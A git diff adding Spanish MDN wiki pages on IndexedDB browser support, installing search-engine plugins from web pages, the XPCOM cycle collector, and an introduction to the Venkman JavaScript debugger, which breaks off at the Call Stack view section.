+<h2 id="Límites_de_almacenamiento">Límites de almacenamiento</h2>
+
+<p>No existe un límite de tamaño para un elemento simple de la base de datos. Sin embargo, puede haber un límite en el tamaño de cada base de datos IndexedDB. Este límite (y la forma en que la interfaz de usuario la hace valer) puede variar de una navegador a otro:</p>
+
+<ul>
+ <li>
+  <p>Firefox: no hay límite en el tamaño de una base de datos IndexedDB. La interfaz de usuario solicita permiso para almacenar blobs de más de 50MB. Este límite puede ser modificado mediante la preferencia dom.indexedDB.warningQuota (que está definida en <a href="http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js" title="http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js">http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js</a>).</p>
+ </li>
+ <li>Google Chrome: vea <a class="link-https" href="https://developers.google.com/chrome/whitepapers/storage#temporary" rel="freelink">https://developers.google.com/chrome...rage#temporary</a></li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>Un claro ejemplo para lo que IndexedDB puede ser utilizado en la web, es el ejemplo de Marco Castelluccio, ganador del DevDerby IndexedDB Mozilla. La demostración ganadora fue <a href="/en-US/demos/detail/elibri" title="https://developer.mozilla.org/en-US/demos/detail/elibri">eLibri</a>, una biblioteca y una aplicación de lectura de libros electrónicos.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de los navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>API asíncrono</td>
+   <td>
+    <p>24.0<br>
+     11.0 {{ property_prefix("webkit") }}</p>
+   </td>
+   <td>
+    <p>{{ CompatGeckoDesktop("16.0") }}<br>
+     {{ CompatGeckoDesktop("2.0") }} {{ property_prefix("moz") }}</p>
+   </td>
+   <td>10 {{ property_prefix("ms") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>API síncrono<br>
+    (usado por <a href="/en-US/docs/DOM/Using_web_workers" title="https://developer.mozilla.org/en-US/docs/Using_web_workers">WebWorkers</a>)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}<br>
+    Vea {{ bug(701634) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>API síncrono</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }} {{ property_prefix("moz") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Para otra matriz de compatibilidad, vea también: <a href="http://caniuse.com/indexeddb" title="http://caniuse.com/indexeddb">Cuándo puedo usar IndexedDB</a></p>
+
+<p>También existe la posibilidad de usar IndexedDB en <a href="http://caniuse.com/sql-storage" title="http://caniuse.com/sql-storage"> navegadores que soportan WebSQL</a> por el uso de <a href="https://github.com/axemclion/IndexedDBShim" title="https://github.com/axemclion/IndexedDBShim">IndexedDB Polyfill</a>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="en-US/docs/IndexedDB/Basic Concepts Behind IndexedDB">Conceptos básicos acerca de IndexedDB</a></li>
+ <li><a href="/en-US/docs/IndexedDB/Using_IndexedDB" title="en-US/docs/IndexedDB/IndexedDB primer">Usando IndexedDB</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/" title="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/">Almacenando imágenes y archivos en IndexedDB</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/tutorials/indexeddb/todo/" title="http://www.html5rocks.com/tutorials/indexeddb/todo/">Una lista simple de PENDIENTES usando HTML5 IndexedDB</a>. {{ Note("Este tutorial está basado en una antigua versión de la especificación y no funciona en los navegadores actualizados. por ejemplo, todavía usa el método actualmente eliminado <code>setVersion()</code>.") }}</li>
+ <li><a class="external" href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Especificación de la API para Indexed Database </a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — El alamcén en su navegador</a></li>
+ <li><a class="external" href="http://caniuse.com/indexeddb" title="http://caniuse.com/indexeddb">Soporte IndexedDB en navegadores</a></li>
+ <li><a class="external" href="http://nparashuram.com/IndexedDB/trialtool/index.html" title="http://nparashuram.com/IndexedDB/trialtool/index.html">Ejemplos IndexedDB</a></li>
+ <li><a href="https://github.com/axemclion/IndexedDBShim" title="https://github.com/axemclion/IndexedDBShim">IndexedDB Polyfill</a> para navegadores que sólo soportan WebSQL (p.e. mobile WebKit)</li>
+ <li><a href="http://nparashuram.com/IndexedDBShim/" title="http://nparashuram.com/IndexedDBShim/">JQuery IndexedDB plugin</a></li>
+</ul>
diff --git a/files/es/instalación_de_motores_de_búsqueda_desde_páginas_web/index.html b/files/es/instalación_de_motores_de_búsqueda_desde_páginas_web/index.html
new file mode 100644
index 0000000000..c1c1755bb9
--- /dev/null
+++ b/files/es/instalación_de_motores_de_búsqueda_desde_páginas_web/index.html
@@ -0,0 +1,33 @@
+---
+title: Instalación de motores de búsqueda desde páginas web
+slug: Instalación_de_motores_de_búsqueda_desde_páginas_web
+tags:
+  - Plugins_de_búsqueda
+---
+<p>Firefox permite que código de JavaScript instale plugins de motores de búsqueda, los formatos de plugin que soporta son: MozSearch, OpenSearch, y Sherlock.
+</p><p>Cuando el código JavaScript intenta instalar un plugin de búsqueda, Firefox muestra una alerta que pide al usuario permiso para instalarlo.
+</p>
+<h2 id="Instalaci.C3.B3n_de_plugins_MozSearch_y_OpenSearch"> Instalación de plugins MozSearch y OpenSearch </h2>
+<p>Para instalar plugin MozSearch o OpenSearch, es necesario usar el método DOM <code>window.external.AddSearchProvider()</code>. La sintaxis para este método es:
+</p>
+<pre class="eval">window.external.AddSearchProvider(<i>engineURL</i>);
+</pre>
+<p>Donde <i>engineURL</i> es el URL del archivo XML del plugin del motor de búsqueda.
+</p>
+<div class="note"><b>Nota</b>: el soporte a OpenSearch y MozSearch está disponible sólo en Firefox 2 y superior.</div>
+<p>Para más detalles sobre MozSearch, lease <a href="es/Creaci%c3%b3n_de_plugins_MozSearch">Creación de plugins MozSearch</a>.
+</p>
+<h2 id="Instalaci.C3.B3n_de_plugins_Sherlock"> Instalación de plugins Sherlock </h2>
+<p>Para instalar un plugin Sherlock, hay que llamar a <code>window.sidebar.addSearchEngine()</code>, la sintaxis para hacerlo es:
+</p>
+<pre class="eval">window.sidebar.addSearchEngine(<i>engineURL</i>, <i>iconURL</i>, <i>suggestedName</i>, <i>suggestedCategory</i>);
+</pre>
+<ul><li> El parámetro <code>engineURL</code> es el URL del plugin Sherlock a instalar (un archivo ".src").
+</li><li> <code>iconURL</code> es el URL del icono asociado al plugin.
+</li><li> El parámetro <code>suggestedName</code> sólo es usado cuando se le pide permiso al usuario para instala el plugin, de modo que pueda mostrarse un mensaje del tipo "¿Desea instalar <i>suggestedName</i> desde <i>engineURL</i>?".
+</li><li> El parámetro <code>suggestedCategory</code> no se usa. Se debería especificar una cadena vacía (<code>""</code>) o <code>null</code>.
+</li></ul>
+<p>Para más detalles sobre Sherlock, visite <a class=" external" href="http://developer.apple.com/macosx/sherlock/">http://developer.apple.com/macosx/sherlock/</a>
+</p><p><span class="comment">Categorías</span>
+</p><p><span class="comment">interwiki links</span>
+</p>{{ languages( { "en": "en/Adding_search_engines_from_web_pages", "ca": "ca/Addici\u00f3_de_motors_de_cerca_a_les_p\u00e0gines_web", "it": "it/Installare_plugin_di_ricerca_dalle_pagine_web", "ja": "ja/Adding_search_engines_from_web_pages" } ) }}
diff --git a/files/es/interactuar_con_el_colector_de_ciclos_de_xpcom/index.html b/files/es/interactuar_con_el_colector_de_ciclos_de_xpcom/index.html
new file mode 100644
index 0000000000..2ca660bdac
--- /dev/null
+++ b/files/es/interactuar_con_el_colector_de_ciclos_de_xpcom/index.html
@@ -0,0 +1,50 @@
+---
+title: Interactuar con el colector de ciclos de XPCOM
+slug: Interactuar_con_el_colector_de_ciclos_de_XPCOM
+tags:
+  - Firefox 3
+  - Todas_las_Categorías
+  - XPCOM
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Interfacing_with_the_XPCOM_cycle_collector
+---
+<p>This is a quick overview of the cycle collector introduced into XPCOM for Firefox 3, including a description of the steps involved in modifying an existing C++ class to participate in XPCOM cycle collection. If you have a class that you think is involved in a cyclical-ownership leak, this page is for you.</p>
+
+<p>The intended audience is Mozilla C++ developers.</p>
+
+<h2 id="What_the_cycle_collector_does" name="What_the_cycle_collector_does">What the cycle collector does</h2>
+
+<p>The cycle collector spends most of its time accumulating (and forgetting about) pointers to XPCOM objects that<em>might</em> be involved in garbage cycles. This is the idle stage of the collector's operation, in which special variants of <code>nsAutoRefCnt</code> register and unregister themselves very rapidly with the collector, as they pass through a "suspicious" refcount event (from N+1 to N, for nonzero N).</p>
+
+<p>Periodically the collector wakes up and examines any suspicious pointers that have been sitting in its buffer for a while. This is the scanning stage of the collector's operation. In this stage the collector repeatedly asks each candidate for a singleton cycle-collection helper class, and if that helper exists, the collector asks the helper to describe the candidate's (owned) children. This way the collector builds a picture of the ownership subgraph reachable from suspicious objects.</p>
+
+<p>If the collector finds a group of objects that all refer back to one another, and establishes that the objects' reference counts are all accounted for by internal pointers within the group, it considers that group<em>cyclical garbage</em>, which it then attempts to free. This is the unlinking stage of the collectors operation. In this stage the collector walks through the garbage objects it has found, again consulting with their helper objects, asking the helper objects to "unlink" each object from its immediate children.</p>
+
+<p>Note that the collector also knows how to walk through the JS heap, and can locate ownership cycles that pass in and out of it.</p>
+
+<h2 id="How_the_collector_can_fail" name="How_the_collector_can_fail">How the collector can fail</h2>
+
+<p>The cycle collector is a conservative device. There are situations in which it will fail to collect a garbage cycle.</p>
+
+<ol>
+ <li>It does not suspect any pointers by default; objects must<em>suspect themselves</em>, typically by using an <code>nsCycleCollectingAutoRefCnt</code> rather than a <code>nsAutoRefCnt</code>.</li>
+ <li>It only traverses objects that return a helper object when QI'ed to <code>nsICycleCollectionParticipant</code>. If it encounters an unknown edge during its traversal, it gives up on that edge; this means that every edge involved in a cycle must be participating, otherwise the cycle will not be found.</li>
+ <li>The <code>Traverse</code> and <code>Unlink</code> methods on the helper object are not magic; they are programmer-supplied and must be correct, or else the collector will fail.</li>
+ <li>The collector does not know how to find temporary owning pointers that exist on the stack, so it is important that it only run from near the top-loop of the program. It will not crash if there are extra owning pointers, but it will find itself unable to account for the reference counts it finds in the owned objects, so may fail to collect cycles.</li>
+</ol>
+
+<h2 id="How_to_make_your_classes_participate" name="How_to_make_your_classes_participate">How to make your classes participate</h2>
+
+<p>The interface between the cycle collector and your classes can be accessed directly using the contents of <code>xpcom/base/nsCycleCollector.h</code>, but there are convenience macros for annotating your classes in <code>xpcom/base/nsCycleCollectionParticipant.h</code> that are much easier to use. In general, assuming you are modifying class <code>nsFoo</code> with two <code>nsCOMPtr</code> edges <code>mBar</code> and <code>mBaz</code>, the process can be distilled to a few simple modifications:</p>
+
+<ol>
+ <li>Include the header <code>nsCycleCollectionParticipant.h</code> in both <code>nsFoo.h</code> and <code>nsFoo.cpp</code>.</li>
+ <li>Change the line <code>NS_DECL_ISUPPORTS</code> to <code>NS_DECL_CYCLE_COLLECTING_ISUPPORTS</code> in the definition of <code>nsFoo</code>.</li>
+ <li>Add a line <code>NS_DECL_CYCLE_COLLECTION_CLASS(nsFoo)</code> within the public portion of definition of <code>nsFoo</code>.</li>
+ <li>Add a line <code>NS_INTERFACE_MAP_ENTRIES_CYCLE_COLLECTION(nsFoo)</code> to the interface map of <code>nsFoo</code> in <code>nsFoo.cpp</code>.</li>
+ <li>Change the line <code>NS_IMPL_ADDREF(nsFoo)</code> to <code>NS_IMPL_CYCLE_COLLECTING_ADDREF(nsFoo)</code> in <code>nsFoo.cpp</code>.</li>
+ <li>Change the line <code>NS_IMPL_RELEASE(nsFoo)</code> to <code>NS_IMPL_CYCLE_COLLECTING_RELEASE(nsFoo)</code> in <code>nsFoo.cpp</code>.</li>
+ <li>Add a line <code>NS_IMPL_CYCLE_COLLECTION_CLASS_2(nsFoo, mBar, mBaz)</code> in <code>nsFoo.cpp</code>.</li>
+</ol>
+
+<p>It is possible that your class has more complicated structure than this picture. For example, your class may have multiple <code>nsISupports</code> base classes, which requires the use of some <code>*_AMBIGUOUS</code> macros that perform a disambiguating downcast. Or your class may have a complicated ownership structure, such that the simple <code>NS_IMPL_CYCLE_COLLECTION_CLASS_<em>N</em></code> macros are insufficient; in this case you might need to implement the<em>Traverse</em> and<em>Unlink</em> methods of your helper class manually. It's helpful even in these cases to use the <code>NS_IMPL_CYCLE_COLLECTION_TRAVERSE_{BEGIN,END}</code> and <code>NS_IMPL_CYCLE_COLLECTION_UNLINK_{BEGIN,END}</code> macros. You can see an example of their use in some more complicated classes such as <code>content/base/src/nsGenericElement.cpp</code>. If your class has tearoffs or is being aggregated by other classes it is important to make the tearoff classes or the outer classes participate in cycle collection too, not doing so could lead to the cycle collector trying to collect the objects too soon.</p>
diff --git a/files/es/introduccion_venkman/index.html b/files/es/introduccion_venkman/index.html
new file mode 100644
index 0000000000..d8c56edb05
--- /dev/null
+++ b/files/es/introduccion_venkman/index.html
@@ -0,0 +1,261 @@
+---
+title: Introduccion a Venkman
+slug: Introduccion_Venkman
+translation_of: Archive/Mozilla/Venkman/Introduction
+---
+<p></p><div class="warning warningHeader">
+    <p><strong>Advertencia:</strong> <strong>The content of this article may be out of date.</strong> </p>
+</div><p></p>
+<h4 id="Es_una_version_BETA_de_traduccion_falta_revisar_formato_de_titulos_y_toda_la_ultima_seccion_de_'Fundamentos_de_Depuracion"><span style="background-color: #00ff00;">Es una version BETA de traduccion, falta revisar formato de titulos y toda la ultima seccion de 'Fundamentos de Depuracion</span></h4>
+<p><span lang="es">Una nueva y poderosa herramienta está disponible para los desarrolladores web para usar en varios productos basados ??en Mozilla , incluyendo Firefox , Mozilla Suite y Netscape 7.x El depurador JavaScript , también llamado Venkman , ha sido una parte del navegador de Mozilla y de la comunidad de sus desarrolladores web y scripts por algún tiempo. Este artículo proporciona una visión general y algunos ejemplos prácticos de cómo utilizar el depurador JavaScript en aplicaciones web y los guiones de páginas web. Esta introducción es el primero de una serie de artículos sobre Venkman y depuración de JavaScript. Incluso si usted ya está usando Venkman , las características , procedimientos y consejos descritos aquí le harán un desarrollador y depurador web más seguro.</span></p>
+<p><span lang="es">Venkman es a la vez, un depurador gráfico y de consola. Características tales como la gestión del punto de interrupción , la inspección de la pila de llamadas , y la inspección de la variable / objeto están disponibles en la interfaz de usuario y tambien desde comandos de la consola , lo que le permite trabajar de la forma que más acostumbre. La consola interactiva también permite la ejecución de código JavaScript arbitrario. Los atajos de teclado de Venkman son los mismos que los principales entornos de depuración visual , y los usuarios gdb deberían estar familiarizados con los comandos de Venkman <code>/break, /step, /next, /finish, /frame</code>, and <code>/where</code> . </span></p>
+<p><span lang="es">En Windows, el depurador de JavaScript se compara favorablemente con Visual InterDev y otras grandes herramientas de desarrollo web. En otras plataformas , incluyendo Mac OS y Unix , es el único que ofrece este grado de flexibilidad , profundidad y poder en un entorno de depuración visual.</span></p>
+<h3 id="Starting_the_Debugger" name="Starting_the_Debugger">Iniciar el depurador</h3>
+<p><span id="result_box" lang="es">El depurador JavaScript está automáticamente preinstalado en Mozilla 1.x , pero debe instalarse por separado en Firefox y otros productos basados en Gecko , como Thunderbird y Netscape 7.x. Afortunadamente , la tecnología XPInstall hace posible la instalación de nuevos módulos de aplicación en Firefox con sólo hacer clic en un hipervínculo </span></p>
+<p><span id="result_box" lang="es">Si aún no tiene Venkman o desea actualizar , usted puede conseguir fácilmente la última versión de <a href="https://addons.mozilla.org/en-US/firefox/addon/216">https://addons.mozilla.org/en-US/firefox/addon/216</a>. El proceso de instalación es de dos pasos. En primer lugar, desde el navegador que se desea que aloje a la aplicación depurador, visite la página de complementos de Firefox y haga clic en el enlace de "instalar" para la versión más reciente. Cuando la descarga se haya completado , reinicie el navegador ( algunos usuarios de Windows también pueden necesitar tambien reiniciar su ordenador).  A continuación, puede acceder al depurador a través de un item  nuevo del <span id="result_box" lang="es">menú Herramientas creado </span>dinámicamente en ese navegador , o bien reiniciar el navegador con una opción especial de depurador.</span></p>
+<p><br>
+ Para ver la versión de Venkman usted tiene , el tipo / versión en la vista Sesión Interactiva . Para obtener más información acerca de las últimas mejoras y versiones, consulte el Desarrollo Page Venkman Hay dos formas de iniciar el depurador:<br>
+ Desde Firefox , puede iniciar seleccionando JavaScript Debugger del menú Herramientas ( menú Herramientas-&gt; Desarrollo Web en Mozilla 1.x y Netscape).<br>
+ También puede iniciar el navegador con la opción de línea de comandos -venkman , que inicia Venkman inicialmente en lugar frente de la aplicación.<br>
+ <br>
+ ( Tenga en cuenta que Venkman muestra datos de uso cuando se inicia : " . Inicio local Grabado X, global YYY" Estos datos vienen de un contador integrado en la aplicación Para obtener más información acerca de este contador y los datos , véase el punto 2.2 en el Venkman FAQ.)</p>
+<p><img align="none" alt="Figure 1.  El depurador JavaScript." class="internal" src="/@api/deki/files/946/=Venkintro-start.png"></p>
+<p><span id="result_box" lang="es">Cuando inicie  Venkman por primera vez , las vistas básicas están dispuestas como en la imagen anterior , aunque se puede personalizar el diseño y la presencia de las diferentes vistas que le apetezca, como se describe en la sección <a href="#View_Customization">View Customization</a> a continuación. Las secuencias de comandos que han sido cargados por el motor de JavaScript aparecen en la ventana Loaded Scripts ( para más información sobre cómo se cargan y se accede a scripts en Venkman , consulte "<a href="#Loading_Scripts_into_the_Debugger">Loading Scripts into the Debugger</a>").</span></p>
+<p><img alt="Figura 2 . Controles de Vista" class="internal" src="/@api/deki/files/950/=Venkintro-view.png" style="float: right;"></p>
+<p><span id="result_box" lang="es">La barra de menú , barra de herramientas, y todas las vistas se pueden contraer o esconder , que le da un gran control sobre el entorno de depuración. El <a href="#Source_Code_View">Source Code View</a> está vacío hasta que se seleccione una secuencia de comandos, y <a href="#The_Interactive_Session_View">The Interactive Session View</a> se inicia con la información básica de inicio.</span><br>
+ <br>
+ Cada una de las vistas tiene una etiqueta, un botón flotante que le permite mostrar la vista en su propia ventana , y un botón de cierre que la oculta hasta que usted desea que se muestre de nuevo, como se ve en la Figura 2 .<br>
+ <br>
+ La siguiente sección describe estas vistas y su uso dentro de la interfaz en su conjunto.</p>
+<h3 id="Getting_Acquainted_with_Venkman.27s_User_Interface" name="Getting_Acquainted_with_Venkman.27s_User_Interface"><span id="result_box" lang="es"><span title="Getting Acquainted with Venkman's User Interface
+">Familiarización con la interfaz de usuario de Venkman</span></span><br>
+  </h3>
+<h3 id="Barra_de_Herramientas"><span title="Toolbar">Barra de Herramientas</span></h3>
+<p><img align="none" alt="Figure 3. The Venkman Toolbar" class="internal" src="/@api/deki/files/948/=Venkintro-toolbar.png"></p>
+<p><span id="result_box" lang="es">La barra de herramientas se encuentra en la parte superior del depurador. La barra de herramientas contiene iconos para <span id="result_box" lang="es">los comandos </span> detener, continuar , pasar por encima , pasar adentro , salir , perfilar  y de impresión prolija. Estos comandos se explican por sí mismo , con la posible excepción de detener , lo que hace que el depurador se detenga cuando se ejecuta la siguiente línea de código JavaScript , y el botón de perfil , que se puede utilizar para medir los tiempos de ejecución de los scripts. Cuando se habilita el perfil haciendo clic en este botón, aparecerá una marca de verificación verde aparecerá junto al botón y <span id="result_box" lang="es">se recogen datos </span>de perfil para cada función , y se puede ahorrar eligiendo Guardar perfil de datos como ... en el menú Perfil.</span></p>
+<div class="figure float-right">
+ <p><img alt="Image:venkintro-stop-checked.png" class="internal" src="/@api/deki/files/947/=Venkintro-stop-checked.png"><br>
+  <strong>Figure 4.</strong><br>
+  Stop Button<br>
+  Waiting for<br>
+  Execution</p>
+</div>
+<p><span id="result_box" lang="es">También tenga en cuenta que cuando usted está actualmente ejecutando JavaScript y haga clic en el botón Stop, el código JavaScript se detiene inmediatamente. Si no está ejecutando JavaScript y haga clic en el botón Detener , se mostrará "..." , como en la figura 4 , para indicar que el depurador se detendrá en la siguiente instrucción , pero no tiene ninguna parte para detener aún.</span><br>
+ <br>
+ Este modo de parada rápida refleja un escenario común en la depuración de JavaScript , que es de inspeccionar y depurar secuencias de comandos mientras se están ejecutando , como en una página donde los elementos se mueven alrededor dinámicamente con DHTML. También puede utilizar los comandos disponibles en el menú Depurar y desde la consola para parar en los errores o en excepciones.<br>
+ <br>
+ El botón Continuar a la derecha del botón de parada desestima el modo de parada y especifica que los scripts se deben ejecutar con normalidad, sin detenerse en cada declaración que se ejecuta.<br>
+ <br>
+ El botón Pretty Print cambia el modo de impresión prolija. En el modo de impresión Pretty, el contenido de la vista de origen contendrá el texto de origen descompilada para la función seleccionada . Este es el mismo texto que se obtendría a partir del método toSource del prototipo de función .Si el texto fuente que se está depurando está mal formateado, Pretty Print puede ayudar a hacer más fácil la lectura mediante la inserción de saltos de línea y espacios en blanco en los lugares apropiados .<br>
+ <br>
+ Cuando Pretty Print está habilitado, se verá una marca de verificación verde en el botón de barra de herramientas y el item de menú también se verá marcado.</p>
+<h4 id="The_Loaded_Scripts_View" name="The_Loaded_Scripts_View"><span id="result_box" lang="es"><span title="The Loaded Scripts View">Vista de los scripts cargados</span></span></h4>
+<p><img align="none" alt="Figure 5. The Loaded Scripts View. Active files and functions" class="internal" src="/@api/deki/files/943/=Venkintro-scripts.png"></p>
+<p><span id="result_box" lang="es">La Vista de Scripts Cargados se encuentra en la parte superior izquierda de la ventana. Cuando un archivo es cargado por el navegador , aparecerá en esta vista , y cuando se descarga es eliminado . Los archivos se enumeran en orden alfabético , agrupados por tipo de archivo. Los nombres de archivo se visualizan después de un <span id="result_box" lang="es">icono de una sola letra de </span>color que representa la extensión de archivo. La figura 6 muestra la tabla de iconos y tipos de archivos .En el momento de escribir este documento, el orden y la agrupación de los nombres de archivo no se pueden cambiar .</span></p>
+<div class="figure float-right">
+ <table class="standard-table">
+  <tbody>
+   <tr class="header">
+    <th>Icono</th>
+    <th>Tipo de Archivo</th>
+   </tr>
+   <tr>
+    <td><img alt="J" class="internal" src="/@api/deki/files/939/=Venkintro-file-js.png"></td>
+    <td>.js</td>
+   </tr>
+   <tr>
+    <td><img alt="H" class="internal" src="/@api/deki/files/938/=Venkintro-file-html.png"></td>
+    <td>.html, .htm</td>
+   </tr>
+   <tr>
+    <td><img alt="Z" class="internal" src="/@api/deki/files/942/=Venkintro-file-xul.png"></td>
+    <td>.xul</td>
+   </tr>
+   <tr>
+    <td><img alt="X" class="internal" src="/@api/deki/files/941/=Venkintro-file-xml.png"></td>
+    <td>.xml</td>
+   </tr>
+   <tr>
+    <td><img alt="?" class="internal" src="/@api/deki/files/940/=Venkintro-file-unknown.png"></td>
+    <td>All other files</td>
+   </tr>
+   <tr>
+    <td><img alt="." class="internal" src="/@api/deki/files/937/=Venkintro-file-function.png"></td>
+    <td>JavaScript function</td>
+   </tr>
+  </tbody>
+ </table>
+ <p><strong>Figure 6.</strong><br>
+  Iconos de la vista Scripts</p>
+</div>
+<p><span id="result_box" lang="es">El nombre de la función <span id="result_box" lang="es">"especial" </span> __ toplevel__ se visualiza para los scripts que no son parte de una función real. Al hacer clic en un nombre de archivo que lleva al comienzo  de ese archivo , mientras que al hacer clic en un nombre de función le lleva al inicio de la función.</span><br>
+ <br>
+ La columna Line en esta vista muestra el número de línea que esta función comienza. El selector de columna para este punto de vista ( el cuadro selector de la columna de árbol en la parte superior derecha ) se puede utilizar para mostrar una columna Longitud . Esta columna muestra el tamaño de las funciones en líneas . Tanto la línea y la columna Longitud están en blanco para los nombres de archivos.<br>
+ <br>
+ Si una función tiene un punto de interrupción en el mismo, un pequeño punto rojo aparecerá en el icono de la función , así como en el icono de los archivo padres.</p>
+<h4 id="La_vista_de_Variables_Locales">La vista de Variables Locales</h4>
+<p><img align="right" alt="Figure 7. The Local Variables View" class="internal" src="/@api/deki/files/949/=Venkintro-vars.png"></p>
+<p>La vista variables locales esta en la porción izquierda de la ventana , en la parte inferior . Cuando se detiene el depurador, muestra valores de variables para la función actual. El objetode 'scope' tiene todos los argumentos y variables locales , y el objeto 'this'  tiene el valor de la palabra clave this .</p>
+<div class="figure float-left">
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><strong>e</strong></td>
+    <td>Propiedad enumerable</td>
+   </tr>
+   <tr>
+    <td><strong>r</strong></td>
+    <td>Propiedad de solo lectura</td>
+   </tr>
+   <tr>
+    <td><strong>p</strong></td>
+    <td>Permanente (no eliminable)</td>
+   </tr>
+   <tr>
+    <td><strong>A</strong></td>
+    <td>Alias a otra propiedad</td>
+   </tr>
+   <tr>
+    <td><strong>a</strong></td>
+    <td>Argumento de una funcion</td>
+   </tr>
+   <tr>
+    <td><strong>v</strong></td>
+    <td>Declareda con <code>var</code></td>
+   </tr>
+  </tbody>
+ </table>
+ <p><strong>Figure 8. Indicadores de propiedades</strong></p>
+</div>
+<p><span id="result_box" lang="es">Las propiedades de ambos  <span id="result_box" lang="es">objetos 'scope' y 'this' </span>aparecen en orden alfabético , agrupados por tipo de datos. La Figura 9 muestra los iconos que representan los tipos de datos .</span></p>
+<p>Las propiedades  del tipo de objetos se muestran con el nombre de su función constructora entre llaves como su valor. Puede encontrar el código fuente del constructor seleccionando " Buscar Constructor " en el menú contextual de la propiedad. Usted puede encontrar el lugar donde el objeto se instancia con el comando "Buscar Creador " . De forma predeterminada , las propiedades de la función de tipo no se muestran , con el fin de ahorrar espacio en la vista. Si a usted le gustaría tener esto a la vista , marque la casilla " Incluir funciones"  en el menú contextual de la vista. Es posible que tenga que cerrar y volver a abrir los objetos que había abierto para ver el cambio .<br>
+ <br>
+ Las propiedades que se muestran en una fuente gris negrita se definen en un objeto a partir de la cadena de prototipo , y no en el objeto que se está inspeccionando actualmente . Si usted desea inspeccionar prototipos y predecesoras cadenas del objeto , marque la casilla " Incluir propiedades ECMA "  en el menú contextual de la vista. Si una propiedad aparece en una fuente roja en negrilla, se produjo una excepción cuando Venkman trató de leer el valor. El objeto de excepción aparecerá como el valor de la propiedad .</p>
+<div class="figure float-right">
+ <table class="standard-table">
+  <tbody>
+   <tr class="header">
+    <th>Icon</th>
+    <th>Data Type</th>
+    <th>Icon</th>
+    <th>Data Type</th>
+   </tr>
+   <tr>
+    <td><img alt="X" class="internal" src="/@api/deki/files/958/=Venkintro-watch-void.png"></td>
+    <td>Void (undefined) value</td>
+    <td><img alt="null" class="internal" src="/@api/deki/files/955/=Venkintro-watch-null.png"></td>
+    <td>Null value</td>
+   </tr>
+   <tr>
+    <td><img alt="t/f" class="internal" src="/@api/deki/files/951/=Venkintro-watch-bool.png"></td>
+    <td>Boolean value</td>
+    <td><img alt="`'" class="internal" src="/@api/deki/files/957/=Venkintro-watch-string.png"></td>
+    <td>String value</td>
+   </tr>
+   <tr>
+    <td><img alt="#" class="internal" src="/@api/deki/files/954/=Venkintro-watch-int.png"></td>
+    <td>Integer value</td>
+    <td><img alt="##" class="internal" src="/@api/deki/files/952/=Venkintro-watch-double.png"></td>
+    <td>Double value</td>
+   </tr>
+   <tr>
+    <td><img alt="*" class="internal" src="/@api/deki/files/956/=Venkintro-watch-object.png"></td>
+    <td>Object value</td>
+    <td><img alt="f" class="internal" src="/@api/deki/files/953/=Venkintro-watch-function.png"></td>
+    <td>Function value</td>
+   </tr>
+  </tbody>
+ </table>
+ <p><strong>Figure 9.</strong> Iconos de tipos de dato</p>
+</div>
+<p><span id="result_box" lang="es">El selector de columna para este punto de vista ( el cuadro selector de la columna de árbol en la parte superior derecha ) se puede utilizar para mostrar <span id="result_box" lang="es">columnas</span> Tipo y Indicadores. La columna de referencia contiene una descripción textual del tipo de objeto. 'Flages' enumera una o más indicadores aplicables a este objeto. Los indicadores se muestran enumerados en la Figura 8 .</span><br>
+ <br>
+ Si un elemento visible en la vista de variables locales se modifica a través de la vista de Sesión Interactiva , la modificación se reflejará inmediatamente en la Vista de variables locales .<br>
+ <br>
+ En el momento de escribir estas líneas, las variables locales de Vista de ordenación predeterminado y agrupación no son ajustables.</p>
+<h4 id="The_Call_Stack_View" name="The_Call_Stack_View"><span id="result_box" lang="es">Vista de la Pila de llamadas</span></h4>
+<p><img align="right" alt="Figure 10. The Call Stack View" class="internal" src="/@api/deki/files/945/=Venkintro-stack.png"></p>
